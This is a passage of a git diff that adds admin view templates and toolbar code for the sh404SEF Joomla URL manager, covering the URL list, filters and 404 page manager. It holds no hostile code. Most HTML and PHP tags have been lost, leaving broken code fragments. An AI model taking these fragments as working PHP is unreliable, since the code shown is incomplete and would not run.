Sh404sefHelperGeneral::COM_SH404SEF_ONLY_CUSTOM, 'text' => JText::_('COM_SH404SEF_ONLY_CUSTOM')), + array('value' => Sh404sefHelperGeneral::COM_SH404SEF_ONLY_AUTO, 'text' => JText::_('COM_SH404SEF_ONLY_AUTO'))); + JHtmlSidebar::addFilter(JText::_('COM_SH404SEF_ALL_URL_TYPES'), 'filter_url_type', + JHtml::_('select.options', $data, 'value', 'text', $this->options->filter_url_type, true)); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.php new file mode 100644 index 00000000..cb62a601 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.php @@ -0,0 +1,17 @@ +setMimeEncoding( 'text/xml'); + + // call helper to prepare response xml file content + $response = Sh404sefHelperGeneral::prepareAjaxResponse( $this); + + // echo it + echo $response; + + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/helpers.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/helpers.php new file mode 100644 index 00000000..0602f4f1 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/helpers.php @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2.php new file mode 100644 index 00000000..f58ffccb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2.php @@ -0,0 +1,199 @@ +slowServer) { + echo JText::_('COM_SH404SEF_SLOW_SERVER_MODE_ON'); +} + +?> +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters')?> + +
    + + + + + + + + + + slowServer) : ?> + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' ? 'Custom' : ' '; + $metaImg = '\''.JText::_('COM_SH40SEF_HAS_META_LINK_TITLE').'\''; + ?> + + "> + + + + + + + + + + + + + + + + +
    + + + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + + + + + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + + +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + slowServer ? '' : $this->escape($url->pageid); + ?> + + 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component'); + $urlData = array( 'title' => JText::_('COM_SH404SEF_MODIFY_LINK_TITLE') . ' ' .$url->oldurl, 'class' => 'modalediturl', 'anchor' => $url->oldurl); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + // small preview icon + $sefConfig = & Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim( $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $url->oldurl; + echo ' '; + echo '\''.JText::_('COM_SH404SEF_PREVIEW').'\''; + echo ''; + ?> + + escape( $url->newurl); ?> + + metas)) { + echo ' '; + } else { + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component', 'startOffset' => 1); + $urlData = array( 'title' => JText::_('COM_SH404SEF_HAS_META_LINK_TITLE'), 'class' => 'modalediturl', 'anchor' => $metaImg); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + } + ?> + + slowServer) { + $linkData = array( 'c' => 'duplicates', 'cid[]' => $url->id, 'tmpl' => 'component'); + $anchor = $url->rank == 0 ? '[+++]' : '++'; + $title = $url->rank == 0 ? JText::_('COM_SH404SEF_IS_A_MAIN_URL') : JText::_('COM_SH404SEF_IS_DUPLICATE'); + $urlData = array( 'title' => $title, 'class' => 'modalediturl', 'anchor' => $anchor); + $modalOptions = array( 'size' => array('x' => '\\window.getScrollSize().x*0.9', 'y' => '\\window.getSize().y*.9')); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + } + if (empty($url->duplicates)) { + echo ' '; + } else { + $linkData = array( 'c' => 'duplicates', 'cid[]' => $url->id, 'tmpl' => 'component'); + $urlData = array( 'title' => JText::sprintf('COM_SH404SEF_HAS_DUPLICATES_LINK_TITLE', $url->duplicates), 'class' => 'modalediturl', 'anchor' => $url->duplicates); + $modalOptions = array( 'size' => array('x' => '\\window.getScrollSize().x*.9', 'y' => '\\window.getSize().y*.9')); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + } + ?> + + aliases)) { + echo ' '; + } else { + $linkData = array( 'c' => 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component', 'startOffset' => 2); + $urlData = array( 'title' => 'Has ' . $url->aliases . ' alias(es)', 'class' => 'modalediturl', 'anchor' => $url->aliases); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = '');; + } + ?> + + +
    + +
    + + + + + + + + + +
    +
    + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2_filters.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2_filters.php new file mode 100644 index 00000000..0a1968a7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2_filters.php @@ -0,0 +1,66 @@ + + + + + + + slowServer) :?> + + + + + + + + slowServer) : ?> + + + + + + +
    + : + + + + + : + + + + +   + + optionsSelect->components; ?> + + optionsSelect->languages; ?> + + optionsSelect->filter_duplicate; ?> + + optionsSelect->filter_alias; ?> + + optionsSelect->filter_url_type; ?> +
    + +slowServer) :?> + + + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j3.php new file mode 100644 index 00000000..e54787a8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j3.php @@ -0,0 +1,332 @@ + +
     
    + + + +
    + +
    + + +
    +
     
    +
    + options); + + if (!$this->slowServer) + { + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.search_shurl', $this->options); + } + + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + + echo '
    '; + + if ($this->slowServer) : ?> + + + + +
    +
    + + +
    +sidebar; ?> +
    + + +
    + + + +
    + options); + + if (!$this->slowServer) + { + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.search_shurl', $this->options); + } + + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $this->pagination); + + if ($this->slowServer) : ?> + + + + +
    + + +
    + + +
    +
    + slowServer) + { + echo '
    ' . JText::_('COM_SH404SEF_SLOW_SERVER_MODE_ON') . '
    '; + } + + ?> + +
    + + + + + + + + + + + slowServer) : ?> + + + + + + + + + + + + + + + + + + + itemCount > 0) +{ + for ($i = 0; $i < $this->itemCount; $i++) + { + + $url = &$this->items[$i]; + $checked = JHtml::_('grid.id', $i, $url->id); + $custom = !empty($url->newurl) && $url->dateadd != '0000-00-00' + ? ShlHtmlBs_Helper::iconglyph('', 'wrench', JText::_('COM_SH404SEF_CUSTOM_URL_LINK_TITLE')) : ' '; + ?> + + + + + + + + + + + + + + + + + + +
      + + + + + + options->filter_order_Dir, + $this->options->filter_order); + ?> + + + + + + + + + + options->filter_order_Dir, + $this->options->filter_order); + ?> + + options->filter_order_Dir, + $this->options->filter_order); + ?> + + options->filter_order_Dir, + $this->options->filter_order); + ?> + + +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset($i); ?> + + + + slowServer ? '' : ShlHtmlBs_Helper::badge($this->escape($url->pageid), 'info'); + ?> + + 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $params['linkTitle'] = JText::_('COM_SH404SEF_MODIFY_LINK_TITLE') . ' ' . $this->escape($url->oldurl); + $modalTitle = ''; + $params['linkClass'] = 'shl-list-sef'; + $params['linkType'] = 'a'; + + $name = '-editurl-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, $this->escape($url->oldurl), $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], + Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + // small preview icon + $sefConfig = Sh404sefFactory::getConfig(); + $link = JURI::root() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $url->oldurl; + echo ' '; + echo '\'''; + echo ''; + ?> + + escape($url->newurl); ?> + + metas)) + { + echo ' '; + } + else + { + $params = array(); + $linkData = array('c' => 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component', 'startOffset' => 1); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $params['linkTitle'] = JText::_('COM_SH404SEF_HAS_META_LINK_TITLE'); + $modalTitle = ''; + $name = '-editurlmeta-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, ShlHtmlBs_Helper::iconglyph('', 'tags'), $targetUrl, + Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, + $left = 0, $onClose = '', $modalTitle, $params); + } + ?> + + slowServer) + { + $params = array(); + $linkData = array('c' => 'duplicates', 'cid[]' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $modalTitle = ''; + $params['linkTitle'] = $url->rank == 0 ? JText::_('COM_SH404SEF_IS_A_MAIN_URL') : JText::_('COM_SH404SEF_IS_DUPLICATE'); + $name = '-editurlduplicates-' . $url->id; + $anchor = ShlHtmlBs_Helper::badge($url->rank == 0 ? '[+++]' : '++', 'warning'); + echo ShlHtmlModal_helper::modalLink($name, $anchor, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['duplicates']['x'], + Sh404sefFactory::getPConfig()->windowSizes['duplicates']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + } + if (empty($url->duplicates)) + { + echo ' '; + } + else + { + $params = array(); + $linkData = array('c' => 'duplicates', 'cid[]' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $modalTitle = ''; + $params['linkTitle'] = JText::sprintf('COM_SH404SEF_HAS_DUPLICATES_LINK_TITLE', $url->duplicates); + $name = '-editurlduplicates-' . $url->id; + $anchor = ShlHtmlBs_Helper::badge($url->duplicates, 'warning'); + echo ShlHtmlModal_helper::modalLink($name, $anchor, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['duplicates']['x'], + Sh404sefFactory::getPConfig()->windowSizes['duplicates']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + } + ?> + + aliases)) + { + echo ' '; + } + else + { + $params = array(); + $linkData = array('c' => 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component', 'startOffset' => 2); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $modalTitle = ''; + $params['linkTitle'] = 'Has ' . $url->aliases . ' alias(es)'; + $name = '-editurlaliases-' . $url->id; + $anchor = ShlHtmlBs_Helper::badge($url->aliases, 'info'); + echo ShlHtmlModal_helper::modalLink($name, $anchor, $targetUrl, Sh404sefFactory::getPConfig()->windowSizes['editurl']['x'], + Sh404sefFactory::getPConfig()->windowSizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + } + ?> + + +
    + +
    + + +
    + +
    + + +
    + + + + + + + + + + + +
    +
    + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.full.php new file mode 100644 index 00000000..a03353b9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.full.php @@ -0,0 +1,132 @@ + +
    + +loadTemplate( $this->joomlaVersionPrefix . '_filters'); + +?> + +
    + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = ' '; ?> + + "> + + + + + + + + + + + + + + +
    + + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + +   + +   +
    + pagination->getListFooter(); ?> +
    + pagination->getRowOffset( $i ); ?> + + + + cpt) ? ' ' : $this->escape( $url->cpt); ?> + + 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component'); + $urlData = array( 'title' => $url->oldurl, 'class' => 'modalediturl'); + $modalOptions = array( 'size' => array('x' =>800, 'y' => 600)); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + ?> + + 'notfound', 'notfound_url_id' => $url->id, 'tmpl' => 'component'); + $urlData = array( 'title' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_URLS_TITLE'), 'class' => 'modalediturl', 'anchor' => JText::_('COM_SH404SEF_NOT_FOUND_SHOW_URLS')); + $modalOptions = array( 'size' => array('x' => '\\window.getScrollSize().x*.9', 'y' => '\\window.getSize().y*.9')); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + ?> + + 'editnotfound', 'notfound_url_id' => $url->id, 'task' => 'newredirect', 'tmpl' => 'component'); + $urlData = array( 'title' => JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT_TITLE'), 'class' => 'modalediturl', 'anchor' => JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT')); + $modalOptions = array( 'size' => array('x' => '\\window.getScrollSize().x*.7', 'y' => '\\window.getSize().y*.5')); + echo Sh404sefHelperHtml::makeLink( $this, $linkData, $urlData, $modal = true, $modalOptions, $hasTip = false, $extra = ''); + ?> +
    + +
    + + + + + + + + + +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.php @@ -0,0 +1,17 @@ + + + + + + +
    + : + + + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.full.php new file mode 100644 index 00000000..7cb1dccc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.full.php @@ -0,0 +1,191 @@ + +
     
    + + +
    + +
    + +
    + + +
    + +
    + + +
    +sidebar; ?> +
    + + +
    + + + +
    + +
    + + +
    + + +
    +
    + + +
    + + + + + + + + + + + + + + + + + + + + itemCount > 0 ) { + $sizes = Sh404sefFactory::getPConfig()->windowSizes; + for ($i=0; $i < $this->itemCount; $i++) { + + $url = &$this->items[$i]; + $checked = JHtml::_( 'grid.id', $i, $url->id); + $custom = ' '; ?> + + + + + + + + + + + + + + + + +
      + + + + options->filter_order_Dir, $this->options->filter_order); ?> + + options->filter_order_Dir, $this->options->filter_order); ?> + +   + +   +
    + ' . $this->pagination->getListFooter() . ''; ?> +
    + pagination->getRowOffset( $i ); ?> + + + + cpt) ? ' ' : ShlHtmlBs_Helper::badge($url->cpt, 'info'); ?> + + 'editurl', 'task' => 'edit', 'cid[]' => $url->id, 'tmpl' => 'component', 'view' => 'editurl'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $params['linkTitle'] = Sh404sefHelperHtml::abridge(JText::_('COM_SH404SEF_MODIFY_LINK_TITLE') . ' ' . $this->escape($url->oldurl), 'editurl'); + $modalTitle = ''; + $params['linkClass'] = 'shl-list-sef'; + $params['linkType'] = 'a'; + $name = '-editurl-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, $this->escape($url->oldurl), $targetUrl, $sizes['editurl']['x'], $sizes['editurl']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + ?> + + 'notfound', 'notfound_url_id' => $url->id, 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + $modalTitle = ''; + $params['linkTitle'] = JText::_('COM_SH404SEF_NOT_FOUND_SHOW_URLS_TITLE'). ' ' . $this->escape($url->oldurl); + $params['linkClass'] = 'btn'; + $name = '-editsefredirect-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, JText::_('COM_SH404SEF_NOT_FOUND_SHOW_URLS'), $targetUrl, $sizes['selectredirect']['x'], $sizes['selectredirect']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + ?> + + 'editnotfound', 'notfound_url_id' => $url->id, 'task' => 'newredirect', 'tmpl' => 'component'); + $targetUrl = Sh404sefHelperUrl::buildUrl($linkData); + //$modalTitle = JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT'); + $modalTitle = ''; + $params['linkTitle'] = JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT_TITLE'). ' ' . $this->escape($url->oldurl); + $name = '-enterredirect-' . $url->id; + echo ShlHtmlModal_helper::modalLink($name, JText::_('COM_SH404SEF_NOT_FOUND_ENTER_REDIRECT'), $targetUrl, $sizes['enterredirect']['x'], $sizes['enterredirect']['y'], $top = 0, $left = 0, $onClose = '', $modalTitle, $params); + ?> +
    + +
    + +
    + +
    + + +
    + + + + + + + + + + + +
    +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.php new file mode 100644 index 00000000..e2570697 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.php @@ -0,0 +1,17 @@ +_doMakeOptionsSelect($options); + } + + protected function _addFilters() + { + $this->_doAddFilters(); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + protected function _makeToolbarDefaultJ2($params = null) + { + + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_SEF_URL_LIST'), $icon = 'sh404sef', $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + $params['class'] = 'modalediturl'; + $params['size'] = array('x' => 800, 'y' => 600); + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}'; + $params['onClose'] = $js; + $bar->appendButton('Shpopupbutton', 'new', JText::_('New'), "index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component", $params); + + // add edit button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 800, 'y' => 600); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'edit', $url, JText::_('Edit'), $msg = '', $task = 'edit', $list = true, $hidemenu = true, $params); + + // add delete with duplicates button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdeletedeldup&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'deletedeldup', $url, JText::_('COM_SH404SEF_DELETE_URLS_WITH_DUP'), + $msg = JText::_('VALIDDELETEITEMS', true), $task = 'delete', $list = true, $hidemenu = true, $params); + + // add delete button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'delete', $url, JText::_('Delete'), $msg = JText::_('VALIDDELETEITEMS', true), $task = 'delete', + $list = true, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=urls'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'import', $url, JText::_('COM_SH404SEF_IMPORT_BUTTON'), $msg = '', $task = 'import', + $list = false, $hidemenu = true, $params); + + // add import button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 380); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=urls'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'export', $url, JText::_('COM_SH404SEF_EXPORT_BUTTON'), $msg = '', $task = 'export', + $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // add purge and purge selected buttons + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 500, 'y' => 300); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=urls&task=confirmpurge&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'purge', $url, JText::_('COM_SH404SEF_PURGE'), $msg = JText::_('VALIDDELETEITEMS', true), + $task = 'purge', $list = false, $hidemenu = true, $params); + + // separator + JToolBarHelper::divider(); + + // edit home page button + $params['class'] = 'modalediturl'; + $params['size'] = array('x' => 800, 'y' => 600); + $js = '\\function(){window.parent.shAlreadySqueezed = false;if(window.parent.shReloadModal) parent.window.location=\'' + . $this->defaultRedirectUrl . '\';window.parent.shReloadModal=true}'; + $params['onClose'] = $js; + $bar + ->appendButton('Shpopupbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), + "index.php?option=com_sh404sef&c=editurl&task=edit&home=1&tmpl=component", $params); + + // separator + JToolBarHelper::divider(); + + // add modal handler for configuration + JHTML::_('behavior.modal'); + $configbtn = '' + . JText::_('COM_SH404SEF_CONFIGURATION') . ''; + $bar->appendButton('custom', $configbtn, 'sh-configbutton-button'); + } + + /** + * Create toolbar for default layout view + * + * @param midxed $params + */ + protected function _makeToolbarDefaultJ3($params = null) + { + // add title + JToolbarHelper::title('sh404SEF: ' . JText::_('COM_SH404SEF_SEF_URL_LIST'), 'sh404sef-toolbar-title'); + + // add "New url" button + $bar = JToolBar::getInstance('toolbar'); + + // prepare configuration button + $bar->addButtonPath(SHLIB_ROOT_PATH . 'toolbarbutton'); + + // add url + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-plus'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'new', JText::_('JTOOLBAR_NEW'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = '', $params); + + // add edit button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small btn-primary'; + $params['iconClass'] = 'icon-edit'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'edit', JText::_('JTOOLBAR_EDIT'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = '', $params); + + // separator + JToolBarHelper::spacer(20); + + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-trash'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdeletedeldup&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'deletedeldup', JText::_('COM_SH404SEF_DELETE_URLS_WITH_DUP'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // add delete button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-trash'; + $params['checkListSelection'] = true; + $url = 'index.php?option=com_sh404sef&c=editurl&task=confirmdelete&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'delete', JText::_('JTOOLBAR_DELETE'), $url, $params['size']['x'], $params['size']['y'], $top = 0, + $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['import']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-upload'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=import&opsubject=urls'; + $bar + ->appendButton('J3popuptoolbarbutton', 'import', JText::_('COM_SH404SEF_IMPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_IMPORTING_TITLE'), $params); + + // add import button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['export']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-download'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=wizard&task=start&tmpl=component&optype=export&opsubject=urls'; + $bar + ->appendButton('J3popuptoolbarbutton', 'export', JText::_('COM_SH404SEF_EXPORT_BUTTON'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_EXPORTING_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // add purge and purge selected buttons + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['confirm']; + $params['buttonClass'] = 'btn btn-small btn-danger'; + $params['iconClass'] = 'shl-icon-remove-sign'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=urls&task=confirmpurge&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'purge', JText::_('COM_SH404SEF_PURGE'), $url, $params['size']['x'], $params['size']['y'], + $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_CONFIRM_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // edit home page button + $params = array(); + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['editurl']; + $params['buttonClass'] = 'btn btn-small'; + $params['iconClass'] = 'icon-home'; + $params['checkListSelection'] = false; + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&home=1&tmpl=component'; + $bar + ->appendButton('J3popuptoolbarbutton', 'home', JText::_('COM_SH404SEF_HOME_PAGE_ICON'), $url, $params['size']['x'], $params['size']['y'], + $top = 0, $left = 0, $onClose = '', $title = JText::_('COM_SH404SEF_HOME_PAGE_EDIT_TITLE'), $params); + + // separator + JToolBarHelper::spacer(20); + + // prepare configuration button + $params = array(); + $params['class'] = 'modaltoolbar btn-success'; + $params['size'] = Sh404sefFactory::getPConfig()->windowSizes['configuration']; + $params['buttonClass'] = 'btn-success btn btn-small modal'; + $params['iconClass'] = 'icon-options'; + $url = 'index.php?option=com_sh404sef&tmpl=component&c=configuration&view=configuration&component=com_sh404sef&hidemainmenu=1'; + $bar + ->appendButton('J3popuptoolbarbutton', 'configj3', JText::_('COM_SH404SEF_CONFIGURATION'), $url, $params['size']['x'], + $params['size']['y'], $top = 0, $left = 0, $onClose = '', $title = '', $params); + + } + + /** + * Create toolbar for 404 pages template + * + * @param midxed $params + */ + protected function _makeToolbarView404J2($params = null) + { + + // Get the JComponent instance of JToolBar + $bar = JToolBar::getInstance('toolbar'); + + // and connect to our buttons + $bar->addButtonPath(JPATH_COMPONENT . '/' . 'classes'); + + // add title + $title = Sh404sefHelperGeneral::makeToolbarTitle(JText::_('COM_SH404SEF_404_MANAGER'), $icon = 'sh404sef', $class = 'sh404sef-toolbar-title'); + JFactory::getApplication()->JComponentTitle = $title; + + // add edit button + $params['class'] = 'modaltoolbar'; + $params['size'] = array('x' => 800, 'y' => 600); + unset($params['onClose']); + $url = 'index.php?option=com_sh404sef&c=editurl&task=edit&tmpl=component'; + $bar + ->appendButton('Shpopuptoolbarbutton', 'edit', $url, JText::_('Edit'), $msg = '', $task = 'edit', $list = true, $hidemenu 